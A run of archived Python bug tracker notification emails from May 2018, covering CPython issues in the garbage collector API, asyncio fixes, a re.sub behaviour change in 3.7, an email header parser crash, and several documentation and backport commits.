<1426859061.43.0.510286082444.issue23722@psf.upfronthosting.co.za> Message-ID: <1526795355.99.0.682650639539.issue23722@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: New changeset f0af69faee902d4b80c07c100dbd528fd8df6832 by Serhiy Storchaka (Miss Islington (bot)) in branch '3.7': bpo-23722: Fix docs for future __classcell__ changes. (GH-6999) (GH-7000) https://github.com/python/cpython/commit/f0af69faee902d4b80c07c100dbd528fd8df6832 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 02:14:17 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 20 May 2018 06:14:17 +0000 Subject: [issue23722] During metaclass.__init__, super() of the constructed class does not work In-Reply-To: <1426859061.43.0.510286082444.issue23722@psf.upfronthosting.co.za> Message-ID: <1526796857.17.0.682650639539.issue23722@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 03:42:31 2018 From: report at bugs.python.org (INADA Naoki) Date: Sun, 20 May 2018 07:42:31 +0000 Subject: [issue33583] PyObject_GC_Resize() doesn't relink GCHead Message-ID: <1526802151.18.0.682650639539.issue33583@psf.upfronthosting.co.za> New submission from INADA Naoki : https://github.com/python/cpython/blob/master/Modules/gcmodule.c#L1750-L1763 PyObject_GC_Resize() calls PyObject_REALLOC(), which can change object's address. But it doesn't relinking: g->gc.gc_prev->gc.gc_next = g g->gc.gc_next->gc.gc_prev = g So this API can't be used for tracked object. In CPython code, all callers use this API for non tracked objects. But if some extension module author used this API for tracked objects, it will cause hard to debug behavior. Which should we do? 1. Add relinking to PyObject_GC_Resize() 2. Add note in the document If 1, should we backport it to 3.7 and 3.6? ---------- components: Interpreter Core messages: 317158 nosy: inada.naoki priority: normal severity: normal status: open title: PyObject_GC_Resize() doesn't relink GCHead type: behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 05:03:11 2018 From: report at bugs.python.org (Antoine Pitrou) Date: Sun, 20 May 2018 09:03:11 +0000 Subject: [issue33583] PyObject_GC_Resize() doesn't relink GCHead In-Reply-To: <1526802151.18.0.682650639539.issue33583@psf.upfronthosting.co.za> Message-ID: <1526806991.27.0.682650639539.issue33583@psf.upfronthosting.co.za> Antoine Pitrou added the comment: I think we can simply document it. I don't think anyone has silently buggy code, since it would probably cause a crash as soon as the chain of objects is walked. If we want to fix PyObject_GC_Resize(), we should check that benchmarks are unaffected. ---------- nosy: +pitrou, serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 05:15:22 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 20 May 2018 09:15:22 +0000 Subject: [issue33584] Fix several minor bugs in asyncio Message-ID: <1526807722.12.0.682650639539.issue33584@psf.upfronthosting.co.za> New submission from Serhiy Storchaka : * get_future_loop() silenced all exceptions raised when look up the get_loop attribute, not just an AttributeError. * enter_task() silenced all exceptions raised when look up the current task, not just a KeyError. * repr() was called for a borrowed link in enter_task() and task_step_impl(). * str() was used instead of repr() in formatting one error message. * There where few reference leaks. ---------- components: Extension Modules, asyncio messages: 317160 nosy: asvetlov, serhiy.storchaka, yselivanov priority: normal severity: normal status: open title: Fix several minor bugs in asyncio type: behavior versions: Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 05:20:20 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 20 May 2018 09:20:20 +0000 Subject: [issue33584] Fix several minor bugs in asyncio In-Reply-To: <1526807722.12.0.682650639539.issue33584@psf.upfronthosting.co.za> Message-ID: <1526808020.53.0.682650639539.issue33584@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- keywords: +patch pull_requests: +6655 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 06:21:19 2018 From: report at bugs.python.org (Andrew Svetlov) Date: Sun, 20 May 2018 10:21:19 +0000 Subject: [issue26819] _ProactorReadPipeTransport pause_reading()/resume_reading() broken if called before any read is perfored In-Reply-To: <1461260041.01.0.731551553745.issue26819@psf.upfronthosting.co.za> Message-ID: <1526811679.82.0.682650639539.issue26819@psf.upfronthosting.co.za> Andrew Svetlov added the comment: New changeset 4151061855b571bf8a7579daa7875b8e243057b9 by Andrew Svetlov (CtrlZvi) in branch 'master': bpo-26819: Prevent proactor double read on resume (#6921) https://github.com/python/cpython/commit/4151061855b571bf8a7579daa7875b8e243057b9 ---------- nosy: +asvetlov _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 06:21:26 2018 From: report at bugs.python.org (miss-islington) Date: Sun, 20 May 2018 10:21:26 +0000 Subject: [issue26819] _ProactorReadPipeTransport pause_reading()/resume_reading() broken if called before any read is perfored In-Reply-To: <1461260041.01.0.731551553745.issue26819@psf.upfronthosting.co.za> Message-ID: <1526811686.02.0.682650639539.issue26819@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6656 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 06:40:51 2018 From: report at bugs.python.org (Ronald Oussoren) Date: Sun, 20 May 2018 10:40:51 +0000 Subject: [issue33500] Python TKinter for Mac on latest 2.7.15 still extremely slow vs Windows In-Reply-To: <1526312324.63.0.682650639539.issue33500@psf.upfronthosting.co.za> Message-ID: <1526812851.01.0.682650639539.issue33500@psf.upfronthosting.co.za> Ronald Oussoren added the comment: Another note: we also prefer relatively small samples, the code in search.zip is quite large. The reason to want a small example for this issue is that this would make it easier to check if the problem is on the Python side or on the Tk side (e.g., this might just be a problem in the macOS port for Tcl/Tk and therefore not something we can fix in the tkinter codebase). --- And as this an issue involving Tkinter on macOS: * What version of macOS are you using? "Is fully patched" the latest High Sierra? * Which variant of the Python 2.7.15 installer did you use? There are two different ones: a 32-bit/64-bit installer and a 64-bit only installer. * Did you install ActiveState Tcl/Tk (check if there is a Tk.framework in /Library/Frameworks)? If so, which version? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 06:42:34 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 20 May 2018 10:42:34 +0000 Subject: [issue33583] PyObject_GC_Resize() doesn't relink GCHead In-Reply-To: <1526802151.18.0.682650639539.issue33583@psf.upfronthosting.co.za> Message-ID: <1526812954.87.0.682650639539.issue33583@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: We can add a check that the object is not tracked and raise a SystemError otherwise. Maybe only in the debug build if it affects performance. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 06:57:35 2018 From: report at bugs.python.org (miss-islington) Date: Sun, 20 May 2018 10:57:35 +0000 Subject: [issue26819] _ProactorReadPipeTransport pause_reading()/resume_reading() broken if called before any read is perfored In-Reply-To: <1461260041.01.0.731551553745.issue26819@psf.upfronthosting.co.za> Message-ID: <1526813855.62.0.682650639539.issue26819@psf.upfronthosting.co.za> miss-islington added the comment: New changeset 28ea38b97b2bfbde9f387a8b90b02d05b93c895c by Miss Islington (bot) in branch '3.7': bpo-26819: Prevent proactor double read on resume (GH-6921) https://github.com/python/cpython/commit/28ea38b97b2bfbde9f387a8b90b02d05b93c895c ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 07:34:31 2018 From: report at bugs.python.org (Berker Peksag) Date: Sun, 20 May 2018 11:34:31 +0000 Subject: [issue28167] remove platform.linux_distribution() In-Reply-To: <1473933007.75.0.131793274646.issue28167@psf.upfronthosting.co.za> Message-ID: <1526816071.0.0.682650639539.issue28167@psf.upfronthosting.co.za> Change by Berker Peksag : ---------- pull_requests: -6650 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 08:12:18 2018 From: report at bugs.python.org (Enrique Perez-Terron) Date: Sun, 20 May 2018 12:12:18 +0000 Subject: [issue33476] String index out of range in get_group(), email/_header_value_parser.py In-Reply-To: <1526172602.81.0.682650639539.issue33476@psf.upfronthosting.co.za> Message-ID: <1526818338.13.0.682650639539.issue33476@psf.upfronthosting.co.za> Enrique Perez-Terron added the comment: Unsure how to issue a "PR" (Problem Report?) with a test case. Here is my best effort: Create a file "email.eml" in the current directory, as attached. (The contents were lifted from RFC2822 section A.1.3, but I deleted the ";" at the end of the "To" header. The file has CRLF line endings.) Then run the following test program (It appears that I can only attach one file to this ). $ cat test-bug.py from email.policy import default import email with open('email.eml', 'rb') as f: msg = email.message_from_binary_file(f, policy=default) toheader = msg['To'] for addr in toheader.addresses: print(addr) #---------------------------------------------------- # Output without the fix: $ python3.6.5 test-bug.py Traceback (most recent call last): File "test-bug.py", line 6, in toheader = msg['To'] File "C:\Program Files\Python36\lib\email\message.py", line 391, in __getitem__ return self.get(name) File "C:\Program Files\Python36\lib\email\message.py", line 471, in get return self.policy.header_fetch_parse(k, v) File "C:\Program Files\Python36\lib\email\policy.py", line 162, in header_fetch_parse return self.header_factory(name, value) File "C:\Program Files\Python36\lib\email\headerregistry.py", line 589, in __call__ return self[name](name, value) File "C:\Program Files\Python36\lib\email\headerregistry.py", line 197, in __new__ cls.parse(value, kwds) File "C:\Program Files\Python36\lib\email\headerregistry.py", line 340, in parse kwds['parse_tree'] = address_list = cls.value_parser(value) File "C:\Program Files\Python36\lib\email\headerregistry.py", line 331, in value_parser address_list, value = parser.get_address_list(value) File "C:\Program Files\Python36\lib\email\_header_value_parser.py", line 1931, in get_address_list token, value = get_address(value) File "C:\Program Files\Python36\lib\email\_header_value_parser.py", line 1908, in get_address token, value = get_group(value) File "C:\Program Files\Python36\lib\email\_header_value_parser.py", line 1879, in get_group if value[0] != ';': IndexError: string index out of range #----------------------------------------------------- # Output with the fix: $ test-bug.py Chris Jones joe at where.test John ---------- Added file: https://bugs.python.org/file47606/email.eml _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 09:11:22 2018 From: report at bugs.python.org (=?utf-8?q?Ville_Skytt=C3=A4?=) Date: Sun, 20 May 2018 13:11:22 +0000 Subject: [issue33585] re.sub calls repl function one time too many for catch-all regex Message-ID: <1526821882.25.0.682650639539.issue33585@psf.upfronthosting.co.za> New submission from Ville Skytt? : (I'm fairly certain that the title doesn't describe the actual underlying issue all that well, however it is what I'm seeing so going with that for now.) Compared to Python 3.6, 3.7 appears to call the repl function for re.sub one time too many, when given a catch-all regex. The extra call is made with a match consisting of an empty string. I think this is quite unexpected, and think it's a bug that I hope could be fixed before 3.7 is out. Demonstration code: import re def repl(match): print(f"Called with match '{match.group(0)}'") re.sub(".*", repl, "foo") 3.6.3 produces the expected output: Called with match 'foo' 3.7.0b4+ (current git) demonstrates the extra call: Called with match 'foo' Called with match '' ---------- messages: 317166 nosy: scop priority: normal severity: normal status: open title: re.sub calls repl function one time too many for catch-all regex type: behavior versions: Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 09:14:27 2018 From: report at bugs.python.org (=?utf-8?q?Ville_Skytt=C3=A4?=) Date: Sun, 20 May 2018 13:14:27 +0000 Subject: [issue33585] re.sub calls repl function one time too many for catch-all regex In-Reply-To: <1526821882.25.0.682650639539.issue33585@psf.upfronthosting.co.za> Message-ID: <1526822067.07.0.682650639539.issue33585@psf.upfronthosting.co.za> Change by Ville Skytt? : ---------- components: +Regular Expressions nosy: +ezio.melotti, mrabarnett _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 09:30:33 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 20 May 2018 13:30:33 +0000 Subject: [issue33584] Fix several minor bugs in asyncio In-Reply-To: <1526807722.12.0.682650639539.issue33584@psf.upfronthosting.co.za> Message-ID: <1526823033.81.0.682650639539.issue33584@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: New changeset 6655354afcd116c27486bb5ba1dfa50b369d8d85 by Serhiy Storchaka in branch 'master': bpo-33584: Fix several minor bugs in asyncio. (GH-7003) https://github.com/python/cpython/commit/6655354afcd116c27486bb5ba1dfa50b369d8d85 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 09:31:40 2018 From: report at bugs.python.org (miss-islington) Date: Sun, 20 May 2018 13:31:40 +0000 Subject: [issue33584] Fix several minor bugs in asyncio In-Reply-To: <1526807722.12.0.682650639539.issue33584@psf.upfronthosting.co.za> Message-ID: <1526823100.83.0.682650639539.issue33584@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6657 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 09:33:40 2018 From: report at bugs.python.org (=?utf-8?q?Ville_Skytt=C3=A4?=) Date: Sun, 20 May 2018 13:33:40 +0000 Subject: [issue33585] re.sub calls repl function one time too many for catch-all regex In-Reply-To: <1526821882.25.0.682650639539.issue33585@psf.upfronthosting.co.za> Message-ID: <1526823220.02.0.682650639539.issue33585@psf.upfronthosting.co.za> Ville Skytt? added the comment: Right, it's not limited to repl functions. Python 3.6.3: $ python -c 'import re;print(re.sub(".*", "X", "foo"))' X Python 3.7.0b4+: $ python -c 'import re;print(re.sub(".*", "X", "foo"))' XX Poking serhiy.storchaka who according to the release notes, seems to have done quite a bit of work on re in 3.7. ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 09:47:05 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 20 May 2018 13:47:05 +0000 Subject: [issue33585] re.sub calls repl function one time too many for catch-all regex In-Reply-To: <1526821882.25.0.682650639539.issue33585@psf.upfronthosting.co.za> Message-ID: <1526824025.09.0.682650639539.issue33585@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: This is expected behavior and documented change in 3.7. The pattern ".*" can match an empty string, and it matches an empty string at the end of line. This behavior is consistent with the behavior of re.finditer() and with the behavior of all regular expression implementations in other programming languages. Actually it was an old bug in re.sub() that has been fixed in 3.7. Compare, in 3.6: >>> list(re.finditer('.*', 'foo')) [<_sre.SRE_Match object; span=(0, 3), match='foo'>, <_sre.SRE_Match object; span=(3, 3), match=''>] >>> re.sub('.*', lambda m: repr(m), 'foo') "<_sre.SRE_Match object; span=(0, 3), match='foo'>" In 3.7: >>> list(re.finditer('.*', 'foo')) [, ] >>> re.sub('.*', lambda m: repr(m), 'foo') "" If you don't want to find an empty string, change you patter so that it will not match an empty string: ".+". ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 10:03:26 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 20 May 2018 14:03:26 +0000 Subject: [issue33584] Fix several minor bugs in asyncio In-Reply-To: <1526807722.12.0.682650639539.issue33584@psf.upfronthosting.co.za> Message-ID: <1526825006.91.0.682650639539.issue33584@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- pull_requests: +6658 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 10:03:46 2018 From: report at bugs.python.org (=?utf-8?q?Ville_Skytt=C3=A4?=) Date: Sun, 20 May 2018 14:03:46 +0000 Subject: [issue33585] re.sub calls repl function one time too many for catch-all regex In-Reply-To: <1526821882.25.0.682650639539.issue33585@psf.upfronthosting.co.za> Message-ID: <1526825026.08.0.682650639539.issue33585@psf.upfronthosting.co.za> Ville Skytt? added the comment: Oh, I see, sorry about the noise, then. (Only looked at the "Improved Modules" -> re section in the what's new, thus missed the doc.) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 10:33:57 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 20 May 2018 14:33:57 +0000 Subject: [issue33584] Fix several minor bugs in asyncio In-Reply-To: <1526807722.12.0.682650639539.issue33584@psf.upfronthosting.co.za> Message-ID: <1526826837.76.0.682650639539.issue33584@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: New changeset 49418f6df7a234243a470260e1b59e9e4c0e4768 by Serhiy Storchaka in branch '3.6': [3.6] bpo-33584: Fix several minor bugs in asyncio. (GH-7003) (#7006) https://github.com/python/cpython/commit/49418f6df7a234243a470260e1b59e9e4c0e4768 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 10:34:31 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 20 May 2018 14:34:31 +0000 Subject: [issue33584] Fix several minor bugs in asyncio In-Reply-To: <1526807722.12.0.682650639539.issue33584@psf.upfronthosting.co.za> Message-ID: <1526826871.04.0.682650639539.issue33584@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: New changeset 52d1741c954448cd9ce3f705402e88211b8d4136 by Serhiy Storchaka (Miss Islington (bot)) in branch '3.7': bpo-33584: Fix several minor bugs in asyncio. (GH-7003) (GH-7005) https://github.com/python/cpython/commit/52d1741c954448cd9ce3f705402e88211b8d4136 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 10:52:23 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 20 May 2018 14:52:23 +0000 Subject: [issue33584] Fix several minor bugs in asyncio In-Reply-To: <1526807722.12.0.682650639539.issue33584@psf.upfronthosting.co.za> Message-ID: <1526827943.88.0.682650639539.issue33584@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 11:00:24 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 20 May 2018 15:00:24 +0000 Subject: [issue30940] Documentation for round() is incorrect. In-Reply-To: <1500223918.38.0.72996478594.issue30940@psf.upfronthosting.co.za> Message-ID: <1526828424.39.0.682650639539.issue30940@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: New changeset 900c48dba3f3eb8fb03ea766a5646f81c3bf3e9c by Serhiy Storchaka (Lisa Roach) in branch 'master': bpo-30940: Updating round() docs. (GH-6342) https://github.com/python/cpython/commit/900c48dba3f3eb8fb03ea766a5646f81c3bf3e9c ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 11:01:27 2018 From: report at bugs.python.org (miss-islington) Date: Sun, 20 May 2018 15:01:27 +0000 Subject: [issue30940] Documentation for round() is incorrect. In-Reply-To: <1500223918.38.0.72996478594.issue30940@psf.upfronthosting.co.za> Message-ID: <1526828487.38.0.682650639539.issue30940@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6659 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 11:02:27 2018 From: report at bugs.python.org (miss-islington) Date: Sun, 20 May 2018 15:02:27 +0000 Subject: [issue30940] Documentation for round() is incorrect. In-Reply-To: <1500223918.38.0.72996478594.issue30940@psf.upfronthosting.co.za> Message-ID: <1526828547.06.0.682650639539.issue30940@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6660 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 11:03:27 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 20 May 2018 15:03:27 +0000 Subject: [issue33542] _ipconfig_getnode incorrectly selects a DUID as a MAC address In-Reply-To: <1526487656.13.0.682650639539.issue33542@psf.upfronthosting.co.za> Message-ID: <1526828607.36.0.682650639539.issue33542@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: New changeset c66c342cb42ab8a88884527ddfe3a5086bc06316 by Serhiy Storchaka (CtrlZvi) in branch 'master': bpo-33542: Ignore DUID in uuid.get_node on Windows. (GH-6922) https://github.com/python/cpython/commit/c66c342cb42ab8a88884527ddfe3a5086bc06316 ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 11:04:34 2018 From: report at bugs.python.org (miss-islington) Date: Sun, 20 May 2018 15:04:34 +0000 Subject: [issue33542] _ipconfig_getnode incorrectly selects a DUID as a MAC address In-Reply-To: <1526487656.13.0.682650639539.issue33542@psf.upfronthosting.co.za> Message-ID: <1526828674.45.0.682650639539.issue33542@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6661 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 11:04:36 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 20 May 2018 15:04:36 +0000 Subject: [issue33585] re.sub calls repl function one time too many for catch-all regex In-Reply-To: <1526821882.25.0.682650639539.issue33585@psf.upfronthosting.co.za> Message-ID: <1526828676.96.0.682650639539.issue33585@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: This change is documented in the subsection "Changes in the Python API" of the section "Porting to Python 3.7". ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 11:05:48 2018 From: report at bugs.python.org (Petr Viktorin) Date: Sun, 20 May 2018 15:05:48 +0000 Subject: [issue28167] remove platform.linux_distribution() In-Reply-To: <1473933007.75.0.131793274646.issue28167@psf.upfronthosting.co.za> Message-ID: <1526828748.17.0.682650639539.issue28167@psf.upfronthosting.co.za> Petr Viktorin added the comment: Thanks for closing that one. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 11:06:10 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 20 May 2018 15:06:10 +0000 Subject: [issue33475] Fix converting AST expression to string and optimize parenthesis In-Reply-To: <1526163754.81.0.682650639539.issue33475@psf.upfronthosting.co.za> Message-ID: <1526828770.83.0.682650639539.issue33475@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: New changeset b32f8897eafcf335f9e9899c5e622a0b27679437 by Serhiy Storchaka in branch '3.7': [3.7] bpo-33475: Fix and improve converting annotations to strings. (GH-6774). (GH-6927) https://github.com/python/cpython/commit/b32f8897eafcf335f9e9899c5e622a0b27679437 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 11:09:07 2018 From: report at bugs.python.org (Guido van Rossum) Date: Sun, 20 May 2018 15:09:07 +0000 Subject: [issue26819] _ProactorReadPipeTransport pause_reading()/resume_reading() broken if called before any read is perfored In-Reply-To: <1461260041.01.0.731551553745.issue26819@psf.upfronthosting.co.za> Message-ID: <1526828947.74.0.682650639539.issue26819@psf.upfronthosting.co.za> Change by Guido van Rossum : ---------- nosy: -gvanrossum _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 11:12:52 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 20 May 2018 15:12:52 +0000 Subject: [issue33580] Make binary/text file glossary entries follow most common "see also" style In-Reply-To: <1526760789.23.0.682650639539.issue33580@psf.upfronthosting.co.za> Message-ID: <1526829172.6.0.682650639539.issue33580@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: New changeset 0c4be82890858f874ff2158b0fcfdb8f261569c0 by Serhiy Storchaka (Andr?s Delfino) in branch 'master': bpo-33580: Make binary/text file glossary entries follow most common "see also" style. (GH-6991) https://github.com/python/cpython/commit/0c4be82890858f874ff2158b0fcfdb8f261569c0 ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 11:13:59 2018 From: report at bugs.python.org (miss-islington) Date: Sun, 20 May 2018 15:13:59 +0000 Subject: [issue33580] Make binary/text file glossary entries follow most common "see also" style In-Reply-To: <1526760789.23.0.682650639539.issue33580@psf.upfronthosting.co.za> Message-ID: <1526829239.07.0.682650639539.issue33580@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6662 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 11:14:59 2018 From: report at bugs.python.org (miss-islington) Date: Sun, 20 May 2018 15:14:59 +0000 Subject: [issue33580] Make binary/text file glossary entries follow most common "see also" style In-Reply-To: <1526760789.23.0.682650639539.issue33580@psf.upfronthosting.co.za> Message-ID: <1526829299.68.0.682650639539.issue33580@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6663 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 11:21:16 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 20 May 2018 15:21:16 +0000 Subject: [issue33542] _ipconfig_getnode incorrectly selects a DUID as a MAC address In-Reply-To: <1526487656.13.0.682650639539.issue33542@psf.upfronthosting.co.za> Message-ID: <1526829676.89.0.682650639539.issue33542@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- pull_requests: +6664 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 11:25:05 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 20 May 2018 15:25:05 +0000 Subject: [issue33542] _ipconfig_getnode incorrectly selects a DUID as a MAC address In-Reply-To: <1526487656.13.0.682650639539.issue33542@psf.upfronthosting.co.za> Message-ID: <1526829905.7.0.682650639539.issue33542@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- pull_requests: +6665 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 11:28:18 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 20 May 2018 15:28:18 +0000 Subject: [issue30940] Documentation for round() is incorrect. In-Reply-To: <1500223918.38.0.72996478594.issue30940@psf.upfronthosting.co.za> Message-ID: <1526830098.08.0.682650639539.issue30940@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: New changeset 736e3b32194b52b1779ce88a2c13862f0f913a7a by Serhiy Storchaka (Miss Islington (bot)) in branch '3.7': bpo-30940: Updating round() docs. (GH-6342) (GH-7009) https://github.com/python/cpython/commit/736e3b32194b52b1779ce88a2c13862f0f913a7a ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 11:29:47 2018 From: report at bugs.python.org (miss-islington) Date: Sun, 20 May 2018 15:29:47 +0000 Subject: [issue30940] Documentation for round() is incorrect. In-Reply-To: <1500223918.38.0.72996478594.issue30940@psf.upfronthosting.co.za> Message-ID: <1526830187.59.0.682650639539.issue30940@psf.upfronthosting.co.za> miss-islington added the comment: New changeset 82c9adb3f94e5d889f03205d03a76a5ff0928531 by Miss Islington (bot) in branch '3.6': bpo-30940: Updating round() docs. (GH-6342) https://github.com/python/cpython/commit/82c9adb3f94e5d889f03205d03a76a5ff0928531 ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 11:40:13 2018 From: report at bugs.python.org (miss-islington) Date: Sun, 20 May 2018 15:40:13 +0000 Subject: [issue33542] _ipconfig_getnode incorrectly selects a DUID as a MAC address In-Reply-To: <1526487656.13.0.682650639539.issue33542@psf.upfronthosting.co.za> Message-ID: <1526830813.18.0.682650639539.issue33542@psf.upfronthosting.co.za> miss-islington added the comment: New changeset 073eca39a55b86ec7dd7a437ac0c910751a60ace by Miss Islington (bot) in branch '3.7': bpo-33542: Ignore DUID in uuid.get_node on Windows. (GH-6922) https://github.com/python/cpython/commit/073eca39a55b86ec7dd7a437ac0c910751a60ace ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 11:48:41 2018 From: report at bugs.python.org (Christian Heimes) Date: Sun, 20 May 2018 15:48:41 +0000 Subject: [issue32262] Fix linting errors in asyncio code; use f-strings consistently In-Reply-To: <1512861969.57.0.213398074469.issue32262@psf.upfronthosting.co.za> Message-ID: <1526831321.13.0.682650639539.issue32262@psf.upfronthosting.co.za> Change by Christian Heimes : ---------- pull_requests: +6666 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 11:57:44 2018 From: report at bugs.python.org (miss-islington) Date: Sun, 20 May 2018 15:57:44 +0000 Subject: [issue33580] Make binary/text file glossary entries follow most common "see also" style In-Reply-To: <1526760789.23.0.682650639539.issue33580@psf.upfronthosting.co.za> Message-ID: <1526831864.92.0.682650639539.issue33580@psf.upfronthosting.co.za> miss-islington added the comment: New changeset 983e9653e0584b65a6ec66543ce1631f888aa285 by Miss Islington (bot) in branch '3.6': bpo-33580: Make binary/text file glossary entries follow most common "see also" style. (GH-6991) https://github.com/python/cpython/commit/983e9653e0584b65a6ec66543ce1631f888aa285 ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 12:27:09 2018 From: report at bugs.python.org (Eitan Adler) Date: Sun, 20 May 2018 16:27:09 +0000 Subject: [issue33579] calendar.timegm not always an inverse of time.gmtime In-Reply-To: <1526726499.81.0.682650639539.issue33579@psf.upfronthosting.co.za> Message-ID: <1526833629.82.0.682650639539.issue33579@psf.upfronthosting.co.za> Eitan Adler added the comment: Thanks! I've confirmed this is the case on my system and will be starting a conversation about fixing it. In the meantime I am leaving this bug open since we may want to detect this case in python and correct for it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 12:28:17 2018 From: report at bugs.python.org (Petr Viktorin) Date: Sun, 20 May 2018 16:28:17 +0000 Subject: [issue29640] _PyThreadState_Init and fork race leads to inconsistent key list In-Reply-To: <1487927038.37.0.851881550844.issue29640@psf.upfronthosting.co.za> Message-ID: <1526833697.95.0.682650639539.issue29640@psf.upfronthosting.co.za> Petr Viktorin added the comment: pthread is not generally compatible with int, so it can't be used with Python 2's API. This was changed in py3 with PEP 539, which however makes it so that the old TLS API is only available if PTHREAD_KEY_T_IS_COMPATIBLE_WITH_INT. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 20 12:28:28 2018 From: report at bugs.python.org (Eric N. Vander Weele) Date: Sun, 20 May 2018 16:28:28 +0000 Subject: [issue33586] 2.7.15 missing release notes on download page Message-ID: <1526833708.19.0.682650639539.issue33586@psf.upfronthosting.co.za> New submission from Eric N. Vander Weele : When visiting https://www.python.org/downloads/ and attempting to look at the 2.7.15 release notes, the 'Release Notes' link on the far right of the table, it resolves to https://www.python.org/downloads/. ---------- assignee: docs at python components: Documentation 